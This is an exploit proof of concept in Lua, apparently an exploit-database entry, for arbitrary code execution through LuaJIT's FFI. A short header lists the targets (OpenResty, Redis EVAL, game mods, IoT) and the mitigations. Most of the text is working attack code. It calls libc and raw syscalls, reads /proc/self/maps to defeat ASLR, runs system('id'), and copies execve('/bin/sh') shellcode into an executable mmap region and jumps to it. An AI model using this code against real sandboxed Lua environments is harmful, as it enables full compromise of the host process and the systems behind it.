-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution via FFI Unrestricted Syscall Access -- Date: 2026-03-29 -- Exploit Author: TaurusOmar -- Vendor Homepage: https://luajit.org/ -- Software Link: https://luajit.org/download.html -- Version: LuaJIT 2.1.1774638290 (latest) -- Tested on: Linux x86-64 (Arch Linux) -- Description: -- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access -- to native C functions including syscall(), mmap(), mprotect() and -- arbitrary shared library loading. When FFI is accessible to untrusted -- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT), -- an attacker can achieve arbitrary code execution with full process -- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast(). -- -- This affects any application embedding LuaJIT 2.1.x without explicitly -- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox -- environment before executing untrusted scripts. -- -- Verified on LuaJIT 2.1.1774638290 (March 2026) — latest version. -- -- Attack scenarios: -- - OpenResty/Nginx with user-controlled Lua scripts -- - Redis with exposed EVAL interface -- - Game engines with Lua modding systems -- - IoT devices with Lua scripting interface -- -- Mitigation: -- - Compile with -DLUAJIT_DISABLE_FFI -- - Remove 'ffi' from sandbox environment table -- - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces local ffi = require("ffi") local bit = require("bit") ffi.cdef[[ int getpid(void); long syscall(long number, ...); int system(const char *command); void *mmap(void *addr, size_t length, int prot, int flags, int fd, long offset); int munmap(void *addr, size_t length); ]] print("=" .. string.rep("=", 55)) print(" LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC") print("=" .. string.rep("=", 55)) -- dlsym resolves libc symbols without restriction local pid_libc = ffi.C.getpid() print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc) -- Direct kernel syscall channel (SYS_getpid = 39 x86-64) local pid_sc = tonumber(ffi.C.syscall(39)) print("[2] syscall(39) direct: " .. pid_sc) if pid_libc == pid_sc then print("[+] Both channels confirmed active\n") end -- ASLR bypass via /proc/self/maps local f = io.open("/proc/self/maps", "r") for line in f:lines() do if line:find("libc.so") and line:find("r--p") then local base = tonumber("0x" .. line:match("^(%x+)")) print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base)) break end end f:close() -- Arbitrary command execution print("[4] ffi.C.system('id'):") ffi.C.system("id") -- Shellcode execution via mmap(RWX) print("\n[5] Shellcode execution via mmap(RWX):") local PROT_RWX = bit.bor(1, 2, 4) local MAP_FLAGS = bit.bor(0x02, 0x20) -- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59 local shellcode = "\x48\x31\xd2" .. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" .. "\x53" .. "\x48\x89\xe7" .. "\x48\x31\xf6" .. "\x48\x31\xc0" .. "\xb0\x3b" .. "\x0f\x05" local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0) if ffi.cast("long", mem) ~= -1 then print(" RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem))) ffi.copy(mem, shellcode, #shellcode) print(" Shellcode written. Executing execve('/bin/sh')...") local fn = ffi.cast("void(*)(void)", mem) fn() end